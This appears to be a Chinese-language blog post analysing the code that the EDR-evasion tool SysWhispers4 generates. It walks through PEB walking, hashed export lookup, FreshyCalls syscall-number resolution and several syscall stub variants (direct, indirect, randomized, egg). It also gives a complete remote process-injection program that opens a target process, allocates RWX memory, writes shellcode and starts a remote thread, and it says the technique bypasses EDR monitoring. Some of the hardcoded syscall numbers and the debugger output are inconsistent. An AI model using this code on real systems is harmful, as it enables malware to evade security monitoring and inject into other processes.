乐于分享
好东西不私藏

edr绕过工具 SysWhispers4 源码分析系列(五)

edr绕过工具 SysWhispers4 源码分析系列(五)

官网:http://securitytech.cc

五、SysWhispers4 生成代码结构深度分析

本文档深入剖析 SysWhispers4 生成的所有代码文件,包括头文件、C 源文件、汇编存根的完整结构,以及从用户调用到内核执行的完整流程。通过实际生成的代码示例,展示每个文件的作用和相互关系。

1. 生成文件整体结构

1.1 典型生成场景

以以下命令为例:

  1. python syswhispers.py --preset common\
  2. --method embedded --resolve freshycalls \
  3. --prefix SW4 --out-file SW4Syscalls

生成的文件列表:

  1. output/
  2. ├── SW4Syscalls_Types.h    (~15 KB)# 类型定义头文件
  3. ├── SW4Syscalls.h          (~8 KB)# 函数声明头文件
  4. ├── SW4Syscalls.c          (~50 KB)# 运行时实现源码
  5. └── SW4Syscalls.asm(~5 KB)# MASM 汇编存根

总计:~78 KB 代码

1.2 文件依赖关系图

  1. 用户代码(main.cpp)
  2. #include"SW4Syscalls.h"
  3. SW4Syscalls.h
  4. #include"SW4Syscalls_Types.h"
  5. 声明所有 syscall 函数原型
  6. 声明 SW4_Initialize()等初始化函数
  7. SW4Syscalls_Types.h
  8. #include<windows.h>
  9. #include<winternl.h>
  10. 定义 NT 类型、枚举、结构体
  11. SW4Syscalls.c
  12. #include"SW4Syscalls.h"
  13. 实现 SSN 解析逻辑
  14. 实现 SW4_Initialize()
  15. 实现各种辅助功能(ETW/AMSI/Unhook等)
  16. SW4Syscalls.asm(MSVC)
  17. 包含所有 syscall 存根
  18. 直接执行 syscall 指令
  19.  SW4Syscalls_stubs.(MinGW/Clang)
  20. 内联汇编实现 syscall

1.3 编译链接流程

MSVC 工具链

  1. REM 编译 C 文件
  2. cl //EHsc SW4Syscalls./FoSW4Syscalls.obj
  3. REM 汇编 ASM 文件
  4. ml64 /c SW4Syscalls.asm/FoSW4Syscalls_asm.obj
  5. REM 编译用户代码
  6. cl //EHsc main.cpp /Fomain.obj
  7. REM 链接所有目标文件
  8. link main.obj SW4Syscalls.obj SW4Syscalls_asm.obj /OUT:program.exe

MinGW 工具链

  1. # 编译所有文件
  2. g++--masm=intel SW4Syscalls.-o SW4Syscalls.o
  3. g++--masm=intel SW4Syscalls_stubs.-o SW4Syscalls_stubs.o
  4. g++-c main.cpp -o main.o
  5. # 链接
  6. g++ main.o SW4Syscalls.o SW4Syscalls_stubs.-o program.exe

1.4 运行时内存布局

  1. 进程内存空间
  2. ├─.text 段(代码段)
  3. ├─用户代码
  4. ├─ SW4Syscalls.编译后的代码
  5. └─ SW4Syscalls.asm编译后的 syscall 存根
  6. ├─.data 段(数据段)
  7. ├─ SW4_SsnTable[]# SSN 表
  8. ├─ SW4_FuncHashes[]# 函数哈希表
  9. └─其他全局变量
  10. └─.rdata 段(只读数据)
  11. ├─字符串常量
  12. └─常量表

2. syscalls.h 头文件深度分析

2.1 完整文件结构

生成的 SW4Syscalls.h 示例:

  1. /*
  2.  * SW4Syscalls.h -- generated by SysWhispers4
  3.  * DO NOT EDIT -- regenerate with syswhispers.py
  4.  *
  5.  * Resolution : freshycalls
  6.  * Method     : embedded
  7.  * Arch       : x64
  8.  * Compiler   : msvc
  9.  */
  10. #pragma once
  11. #ifndef SW4_SYSCALLS_H
  12. #define SW4_SYSCALLS_H
  13. #include"SW4Syscalls_Types.h"
  14. #ifdef __cplusplus
  15. extern"C"{
  16. #endif
  17. /* =========================================================================
  18.  *  运行时初始化
  19.  *  FreshyCalls -- sorts ntdll Nt* exports by VA
  20.  * ========================================================================= */
  21. EXTERN_C BOOL SW4_Initialize(VOID);
  22. /* =========================================================================
  23.  *  syscall 函数原型
  24.  * ========================================================================= */
  25. // 内存操作类 syscall
  26. EXTERN_C NTSTATUS NTAPI SW4_NtAllocateVirtualMemory(
  27.     HANDLE ProcessHandle,
  28.     PVOID*BaseAddress,
  29.     ULONG_PTR ZeroBits,
  30.     PSIZE_T RegionSize,
  31.     ULONG AllocationType,
  32.     ULONG Protect
  33. );
  34. EXTERN_C NTSTATUS NTAPI SW4_NtFreeVirtualMemory(
  35.     HANDLE ProcessHandle,
  36.     PVOID*BaseAddress,
  37.     PSIZE_T RegionSize,
  38.     ULONG FreeType
  39. );
  40. // ... 共 25 个函数
  41. #ifdef __cplusplus
  42. }
  43. #endif
  44. #endif/* SW4_SYSCALLS_H */

2.2 头文件组成分析

1. 文件头注释

  1. /*
  2.  * SW4Syscalls.h -- generated by SysWhispers4
  3.  * DO NOT EDIT -- regenerate with syswhispers.py
  4.  *
  5.  * Resolution : freshycalls    ← SSN 解析方法
  6.  * Method     : embedded       ← 调用方式
  7.  * Arch       : x64            ← 目标架构
  8.  * Compiler   : msvc           ← 编译器
  9.  */

作用

  • 标识自动生成,禁止手动编辑
  • 记录生成配置,便于追溯

2. 保护宏

  1. #pragma once
  2. #ifndef SW4_SYSCALLS_H
  3. #define SW4_SYSCALLS_H
  4. // ... 文件内容 ...
  5. #endif/* SW4_SYSCALLS_H */

作用

  • 防止重复包含
  • #pragmaonce 是编译器指令(更快)
  • #ifndef 是预处理器标准方式(更兼容)

3. 依赖包含

  1. #include"SW4Syscalls_Types.h"

作用

  • 引入类型定义
  • 确保本文件中使用的类型都已定义

4. C++ 兼容性

  1. #ifdef __cplusplus
  2. extern"C"{
  3. #endif

作用

  • C++ 编译器使用 C 链接约定
  • 避免名称修饰(name mangling)
  • 允许 C++ 代码调用这些函数

5. 函数原型分组

生成的代码按功能分组:

  1. // ==== 内存操作类 syscall ====
  2. EXTERN_C NTSTATUS NTAPI SW4_NtAllocateVirtualMemory(...);
  3. EXTERN_C NTSTATUS NTAPI SW4_NtFreeVirtualMemory(...);
  4. // ...
  5. // ==== 进程/线程操作类 syscall ====
  6. EXTERN_C NTSTATUS NTAPI SW4_NtCreateThreadEx(...);
  7. EXTERN_C NTSTATUS NTAPI SW4_NtOpenProcess(...);
  8. // ...
  9. // ==== 同步/通信类 syscall ====
  10. EXTERN_C NTSTATUS NTAPI SW4_NtWaitForSingleObject(...);
  11. // ...

分组优点

  • 代码组织清晰
  • 易于查找特定功能的函数
  • 便于理解和维护

3. syscalls.c 封装函数深度分析

3.1 完整文件结构

生成的 SW4Syscalls.c 框架:

  1. /*
  2.  * SW4Syscalls.c -- generated by SysWhispers4
  3.  */
  4. #include"SW4Syscalls.h"
  5. #include<stddef.h>
  6. #include<string.h>
  7. /* =========================================================================
  8.  *  常量定义
  9.  * ========================================================================= */
  10. #define SW4_FUNC_COUNT    25U// 函数数量
  11. #define SW4_MAX_EXPORTS   1024U// 最大导出数
  12. // DJB2 哈希表(编译时计算)
  13. staticconst DWORD SW4_FuncHashes[SW4_FUNC_COUNT]={
  14. 0x8A3B2C1D,/* NtAllocateVirtualMemory */
  15. 0x5E7F8A2B,/* NtFreeVirtualMemory */
  16. // ... 更多哈希值
  17. };
  18. /* =========================================================================
  19.  *  全局运行时表
  20.  * ========================================================================= */
  21. DWORD  SW4_SsnTable[SW4_FUNC_COUNT];// SSN 表(运行时填充)
  22. /* =========================================================================
  23.  *  工具函数
  24.  * ========================================================================= */
  25. // DJB2 字符串哈希
  26. static DWORD SW4_HashStr(constchar* s){
  27.     DWORD h =0x1505U;
  28. while(*s){
  29.         h =((<<5)+ h)^(unsignedchar)*s++;
  30. }
  31. return h;
  32. }
  33. // 通过 PEB 获取 ntdll 基址
  34. static PVOID SW4_GetNtdllBase(VOID){
  35. #if defined(_M_X64)
  36.     PPEB pPeb =(PPEB)__readgsqword(0x60);// GS:0x60 -> PEB
  37. #elif defined(_M_IX86)
  38.     PPEB pPeb =(PPEB)__readfsdword(0x30);// FS:0x30 -> PEB
  39. #endif
  40.     PPEB_LDR_DATA pLdr = pPeb->Ldr;
  41.     PLIST_ENTRY pHead =&pLdr->InMemoryOrderModuleList;
  42.     PLIST_ENTRY pEntry = pHead->Flink;// exe 模块
  43.     pEntry = pEntry->Flink;// ntdll 总是第二个
  44.     PLDR_DATA_TABLE_ENTRY pMod =
  45.         CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);
  46. return pMod->DllBase;
  47. }
  48. // 通过哈希查找导出函数
  49. static PVOID SW4_GetProcByHash(PVOID pModule, DWORD dwHash){
  50.     PIMAGE_DOS_HEADER pDos =(PIMAGE_DOS_HEADER)pModule;
  51.     PIMAGE_NT_HEADERS pNt =(PIMAGE_NT_HEADERS)((PBYTE)pModule + pDos->e_lfanew);
  52.     PIMAGE_EXPORT_DIRECTORY pExp =(PIMAGE_EXPORT_DIRECTORY)(
  53. (PBYTE)pModule +
  54.         pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  55.     PDWORD pFnArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfFunctions);
  56.     PDWORD pNmArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfNames);
  57.     PWORD  pOrArr =(PWORD)((PBYTE)pModule + pExp->AddressOfNameOrdinals);
  58. for(DWORD i =0; i < pExp->NumberOfNames; i++){
  59. constchar* pName =(constchar*)((PBYTE)pModule + pNmArr[i]);
  60. if(SW4_HashStr(pName)== dwHash)
  61. return(PVOID)((PBYTE)pModule + pFnArr[pOrArr[i]]);
  62. }
  63. return NULL;
  64. }
  65. /* =========================================================================
  66.  *  FreshyCalls SSN 解析实现
  67.  * ========================================================================= */
  68. static BOOL SW4_FreshyCallsResolve(PVOID pNtdll){
  69. // 1. 获取导出表
  70.     PIMAGE_EXPORT_DIRECTORY pExp =...;
  71. // 2. 收集所有 Nt* 函数
  72.     PVOID candidates[SW4_MAX_EXPORTS];
  73.     DWORD candidateHashes[SW4_MAX_EXPORTS];
  74.     DWORD count =0;
  75. for(DWORD i =0; i < pExp->NumberOfNames&& count < SW4_MAX_EXPORTS; i++){
  76. constchar* name =(constchar*)((PBYTE)pNtdll + pNmArr[i]);
  77. // 只处理 Nt 前缀的函数
  78. if(name[0]=='N'&& name[1]=='t'){
  79.             candidates[count]=(PVOID)((PBYTE)pNtdll + pFnArr[pOrArr[i]]);
  80.             candidateHashes[count]= SW4_HashStr(name);
  81.             count++;
  82. }
  83. }
  84. // 3. 按地址排序(关键!)
  85. // Windows 内核按固定顺序排列系统调用
  86. // 排序后的索引 = SSN
  87.     SW4_SortExports(candidates, candidateHashes, count);
  88. // 4. 匹配我们的函数列表并填充 SSN 表
  89.     memset(SW4_SsnTable,0,sizeof(SW4_SsnTable));
  90. for(DWORD ssn =0; ssn < count; ssn++){
  91.         DWORD hash = candidateHashes[ssn];
  92. // 在我们的函数列表中查找匹配的哈希
  93. for(DWORD i =0; i < SW4_FUNC_COUNT; i++){
  94. if(SW4_FuncHashes[i]== hash){
  95.                 SW4_SsnTable[i]= ssn;
  96. break;
  97. }
  98. }
  99. }
  100. return TRUE;
  101. }
  102. /* =========================================================================
  103.  *  初始化函数
  104.  * ========================================================================= */
  105. BOOL SW4_Initialize(VOID){
  106. static BOOL initialized = FALSE;
  107. if(initialized)
  108. return TRUE;
  109. // 1. 获取 ntdll 基址
  110.     PVOID pNtdll = SW4_GetNtdllBase();
  111. if(!pNtdll)
  112. return FALSE;
  113. // 2. 根据配置的解析方法获取 SSN
  114. #if RESOLUTION_METHOD == FRESHYCALLS
  115. if(!SW4_FreshyCallsResolve(pNtdll))
  116. return FALSE;
  117. #elif RESOLUTION_METHOD == HELLS_GATE
  118. // Hell's Gate 实现
  119. #endif
  120.     initialized = TRUE;
  121. return TRUE;
  122. }

3.2 关键模块详解

模块 1:PEB 遍历获取 ntdll

  1. static PVOID SW4_GetNtdllBase(VOID){
  2. #if defined(_M_X64)
  3.     PPEB pPeb =(PPEB)__readgsqword(0x60);// x64: GS:0x60
  4. #elif defined(_M_IX86)
  5.     PPEB pPeb =(PPEB)__readfsdword(0x30);// x86: FS:0x30
  6. #endif
  7.     PPEB_LDR_DATA pLdr = pPeb->Ldr;
  8.     PLIST_ENTRY pHead =&pLdr->InMemoryOrderModuleList;
  9.     PLIST_ENTRY pEntry = pHead->Flink;// exe 模块
  10.     pEntry = pEntry->Flink;// ntdll (第 2 个)
  11.     PLDR_DATA_TABLE_ENTRY pMod =
  12.         CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);
  13. return pMod->DllBase;
  14. }

内存布局图:

  1. PEB (GS:0x60)
  2. PEB_LDR_DATA
  3. InMemoryOrderModuleList(链表头)
  4. exe 模块 ntdll 模块 kernel32 模块...
  5. 我们需要的

模块 2:导出表扫描

  1. static PVOID SW4_GetProcByHash(PVOID pModule, DWORD dwHash){
  2.     PIMAGE_DOS_HEADER pDos =(PIMAGE_DOS_HEADER)pModule;
  3.     PIMAGE_NT_HEADERS pNt =(PIMAGE_NT_HEADERS)((PBYTE)pModule + pDos->e_lfanew);
  4.     PIMAGE_EXPORT_DIRECTORY pExp =(PIMAGE_EXPORT_DIRECTORY)(
  5. (PBYTE)pModule +
  6.         pNt->OptionalHeader.DataDirectory[0].VirtualAddress);
  7.     PDWORD pFnArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfFunctions);
  8.     PDWORD pNmArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfNames);
  9.     PWORD  pOrArr =(PWORD)((PBYTE)pModule + pExp->AddressOfNameOrdinals);
  10. for(DWORD i =0; i < pExp->NumberOfNames; i++){
  11. constchar* pName =(constchar*)((PBYTE)pModule + pNmArr[i]);
  12. if(SW4_HashStr(pName)== dwHash)
  13. return(PVOID)((PBYTE)pModule + pFnArr[pOrArr[i]]);
  14. }
  15. return NULL;
  16. }

模块 3:FreshyCalls 核心算法

  1. static BOOL SW4_FreshyCallsResolve(PVOID pNtdll){
  2. // 1. 收集所有 Nt* 函数
  3.     PVOID candidates[1024];
  4.     DWORD hashes[1024];
  5.     DWORD count =0;
  6. for(DWORD i =0; i < pExp->NumberOfNames; i++){
  7. constchar* name =(constchar*)(pModule + pNmArr[i]);
  8. if(name[0]=='N'&& name[1]=='t'){
  9.             candidates[count]=(PVOID)(pNtdll + pFnArr[pOrArr[i]]);
  10.             hashes[count]= SW4_HashStr(name);
  11.             count++;
  12. }
  13. }
  14. // 2. 按地址排序(关键!)
  15.     SW4_SortExports(candidates, hashes, count);
  16. // 3. 排序后的索引 = SSN
  17. for(DWORD ssn =0; ssn < count; ssn++){
  18. for(DWORD i =0; i < SW4_FUNC_COUNT; i++){
  19. if(SW4_FuncHashes[i]== hashes[ssn]){
  20.                 SW4_SsnTable[i]= ssn;
  21. break;
  22. }
  23. }
  24. }
  25. return TRUE;
  26. }

4. syscalls.asm 汇编 stub 分析

4.1 MASM 语法格式

生成的 SW4Syscalls.asm:

  1. ; SW4Syscalls.asm-- generated bySysWhispers4
  2. ; DO NOT EDIT
  3. .code
  4. ;============================================================
  5. ;直接 syscall 存根(Embedded模式)
  6. ;============================================================
  7. SW4_NtAllocateVirtualMemory PROC
  8.     mov r10, rcx           ; x64 调用约定:RCX  R10
  9.     mov eax,18h; SSN =24(Windows10)
  10.     syscall                ;进入内核
  11.     ret                    ;返回
  12. SW4_NtAllocateVirtualMemory ENDP
  13. SW4_NtCreateThreadEx PROC
  14.     mov r10, rcx
  15.     mov eax,0C9h; SSN =201
  16.     syscall
  17.     ret
  18. SW4_NtCreateThreadEx ENDP
  19. SW4_NtWriteVirtualMemory PROC
  20.     mov r10, rcx
  21.     mov eax,3Ah; SSN =58
  22.     syscall
  23.     ret
  24. SW4_NtWriteVirtualMemory ENDP
  25. ;...25个函数
  26. END

4.2 调用约定详解

x64 调用约定规则:

寄存器
用途
RCX
第 1 参数(必须复制到 R10)
RDX
第 2 参数
R8
第 3 参数
R9
第 4 参数
RAX
返回值 / SSN
RSP
栈指针(16 字节对齐)

参数传递示例:

  1. // C 语言调用
  2. NtAllocateVirtualMemory(
  3. GetCurrentProcess(),// RCX
  4. &base,// RDX
  5. 0,// R8
  6. &size,// R9
  7.     MEM_COMMIT,// [RSP+28h]
  8.     PAGE_EXECUTE_READWRITE // [RSP+30h]
  9. );
  1. ;汇编实现
  2. mov r10, rcx        ;1参数 RCX  R10
  3. mov eax,18h; SSN
  4. syscall             ;进入内核
  5. ;返回值在 RAX
  6. ret

4.3 不同调用方式的 stub 对比

Embedded(直接 syscall)

  1. SW4_NtAllocateVirtualMemory PROC
  2.     mov r10, rcx
  3.     mov eax,18h
  4.     syscall
  5.     ret
  6. SW4_NtAllocateVirtualMemory ENDP

特点

  • 最简单快速
  • RIP 在我们自己的代码段
  • 容易被检测(静态 syscall 指令)

Indirect(间接跳转)

  1. EXTERN syscall_gadget:QWORD
  2. SW4_NtAllocateVirtualMemory PROC
  3.     mov r10, rcx
  4.     mov eax,18h
  5.     jmp qword ptr [syscall_gadget];间接跳转
  6. ; RIP  ntdll 
  7. SW4_NtAllocateVirtualMemory ENDP

特点

  • RIP 显示在 ntdll.dll
  • 绕过基于 RIP 的检测
  • 需要预先查找 gadget

Randomized(随机化)

  1. SW4_NtAllocateVirtualMemory PROC
  2.     mov r10, rcx
  3.     mov r11, rdx        ;保存 RDX
  4.     rdtsc               ;获取时间戳
  5. and eax,3Fh;取模64
  6.     mov rax,[gadget_pool + rax*8]
  7.     call rax            ;调用随机 gadget
  8.     mov rdx, r11        ;恢复 RDX
  9.     ret
  10. SW4_NtAllocateVirtualMemory ENDP

特点

  • 每次调用不同的 gadget
  • 最强的反追踪能力
  • 性能开销稍大

Egg(egg marker)

  1. SW4_NtAllocateVirtualMemory PROC
  2.     mov r10, rcx
  3. ; egg marker (运行时替换为 syscall)
  4.     DB 41h,42h,43h,44h,45h,46h,47h,48h
  5.     ret
  6. SW4_NtAllocateVirtualMemory ENDP

特点

  • 无静态 syscall 特征
  • 运行时动态替换
  • 需要调用 HatchEggs()

5. syscall stub 完整调用流程

5.1 从用户调用到内核执行

完整流程图:

  1. 用户代码
  2. #include"SW4Syscalls.h"
  3. SW4_Initialize()
  4. ├─获取 ntdll 基址(PEB 遍历)
  5. ├─扫描导出表(FreshyCalls)
  6. ├─按地址排序
  7. └─填充 SSN 
  8. SW4_NtAllocateVirtualMemory(...)
  9. SW4Syscalls.asm中的 stub
  10. ├─ mov r10, rcx      (参数传递)
  11. ├─ mov eax,18h(设置 SSN)
  12. └─ syscall          (进入内核)
  13. CPU 特权级转换(Ring3Ring0)
  14. ├─保存用户态上下文
  15. ├─加载内核态上下文
  16. └─跳转到KiSystemCall64
  17. KiSystemCall64(内核 syscall 分发器)
  18. ├─保存寄存器
  19. ├─ SSDT 
  20. └─调用NtAllocateVirtualMemory内核实现
  21. ntoskrnl!NtAllocateVirtualMemory
  22. ├─参数验证
  23. ├─调用MmAllocateVirtualMemory
  24. └─返回 NTSTATUS
  25. 用户态 stub
  26. └─ ret (返回到调用者)
  27. 用户代码继续执行

5.2 实际案例分析

案例:进程注入

  1. // main.cpp
  2. #include"SW4Syscalls.h"
  3. int main(){
  4. // 1. 初始化(必须)
  5. if(!SW4_Initialize()){
  6.         printf("Initialization failed\n");
  7. return1;
  8. }
  9. // 2. 打开目标进程
  10.     CLIENT_ID clientId ={0};
  11.     clientId.UniqueProcess=(HANDLE)1234;
  12.     OBJECT_ATTRIBUTES oa ={0};
  13. InitializeObjectAttributes(&oa, NULL,0, NULL, NULL);
  14.     HANDLE hProcess;
  15.     NTSTATUS status = SW4_NtOpenProcess(
  16. &hProcess,
  17.         PROCESS_ALL_ACCESS,
  18. &oa,
  19. &clientId
  20. );
  21. if(!NT_SUCCESS(status)){
  22.         printf("NtOpenProcess failed: 0x%08X\n", status);
  23. return1;
  24. }
  25. // 3. 分配内存
  26.     PVOID base = NULL;
  27.     SIZE_T size =0x1000;
  28.     status = SW4_NtAllocateVirtualMemory(
  29.         hProcess,
  30. &base,
  31. 0,
  32. &size,
  33.         MEM_COMMIT | MEM_RESERVE,
  34.         PAGE_EXECUTE_READWRITE
  35. );
  36. if(!NT_SUCCESS(status)){
  37.         printf("NtAllocateVirtualMemory failed: 0x%08X\n", status);
  38. return1;
  39. }
  40.     printf("Allocated at %p\n", base);
  41. // 4. 写入 shellcode
  42.     BYTE shellcode[]="...";
  43.     status = SW4_NtWriteVirtualMemory(
  44.         hProcess,
  45.         base,
  46.         shellcode,
  47. sizeof(shellcode),
  48.         NULL
  49. );
  50. // 5. 创建远程线程
  51.     HANDLE hThread;
  52.     status = SW4_NtCreateThreadEx(
  53. &hThread,
  54.         THREAD_ALL_ACCESS,
  55.         NULL,
  56.         hProcess,
  57.         base,
  58.         NULL,
  59.         FALSE,
  60. 0,
  61. 0,
  62. 0,
  63.         NULL
  64. );
  65.     printf("Thread created: 0x%08X\n", status);
  66. return0;
  67. }

底层执行流程:

  1. main()调用 SW4_Initialize()
  2. SW4_Initialize()执行FreshyCalls解析
  3. ├─ __readgsqword(0x60) PEB
  4. ├─遍历InMemoryOrderModuleList ntdll
  5. ├─扫描 ntdll 导出表
  6. ├─收集Nt*函数
  7. ├─按地址排序
  8. └─填充 SW4_SsnTable[25]
  9. main()调用 SW4_NtOpenProcess()
  10. 汇编 stub:
  11.     mov r10, rcx
  12.     mov eax,3Ah; SSN forNtOpenProcess
  13.     syscall              ;进入内核
  14. 内核执行NtOpenProcess
  15. 返回到 main()
  16. main()调用 SW4_NtAllocateVirtualMemory()
  17. 汇编 stub:
  18.     mov r10, rcx
  19.     mov eax,18h; SSN forNtAllocateVirtualMemory
  20.     syscall
  21. 内核执行NtAllocateVirtualMemory
  22. ...后续调用同理

5.3 调试分析技巧

WinDbg 调试 syscall

  1. 0:000> bp SW4_NtAllocateVirtualMemory
  2. 0:000> g
  3. Breakpoint0 hit
  4. 0:000> r
  5. rax=0000000000000000 rbx=0000000000000000
  6. rcx=00000000000004bc rdx=001234567890abcd
  7. r8=0000000000000000  r9=001234567890dcba
  8. 0:000> u @rip L10
  9. SW4Syscalls!SW4_NtAllocateVirtualMemory:
  10. 00007ff7`12345678 4c8bd9          mov     r10,rcx
  11. 00007ff7`1234567b b818000000      mov     eax,18h
  12. 00007ff7`12345680 0f05            syscall
  13. 00007ff7`12345682 c3              ret
  14. 0:000> t
  15. 0:000> t
  16. 0:000> r eax
  17. eax=00000018; SSN =24
  18. 0:000> t  ;执行 syscall
  19. 0:000> r rip
  20. rip=fffff800`12345678  ; 现在在内核中
  21. nt!KiSystemCall64
  22. 0:000> k  ; 查看调用栈
  23.  # Child-SP          RetAddr
  24. 00 ffff8a00`12345678  fffff800`12345678 nt!KiSystemCall64
  25. 01 ffff8a00`1234568000007ff7`12345682 nt!NtAllocateVirtualMemory
  26. 02 000000e1`2345678000007ff7`12345678 SW4Syscalls!SW4_NtAllocateVirtualMemory+0xa

总结

通过对 SysWhispers4 生成代码的深度分析,我们理解了:

文件结构

  • Types.h:NT 类型定义
  • .h:函数原型声明
  • .c:运行时实现(SSN 解析 + 辅助功能)
  • .asm:汇编 syscall 存根

关键技术点

  • PEB 遍历获取 ntdll 基址
  • 导出表扫描和函数查找
  • FreshyCalls 按地址排序算法
  • x64 调用约定和参数传递
  • syscall 指令执行流程

调用流程

用户代码 → SW4_Initialize() → syscall stub → CPU 特权级转换 → 内核分发器 → NT 实现 → 返回

这套完整的代码生成机制,使得开发者可以完全控制底层系统调用,绕过现代 EDR 的用户态监控。

  • 公众号:安全狗的自我修养

  • vx:2207344074

  • http://gitee.com/haidragon

  • http://github.com/haidragon

  • bilibili:haidragonx

本站文章均为手工撰写未经允许谢绝转载:夜雨聆风 » edr绕过工具 SysWhispers4 源码分析系列(五)

猜你喜欢

  • 暂无文章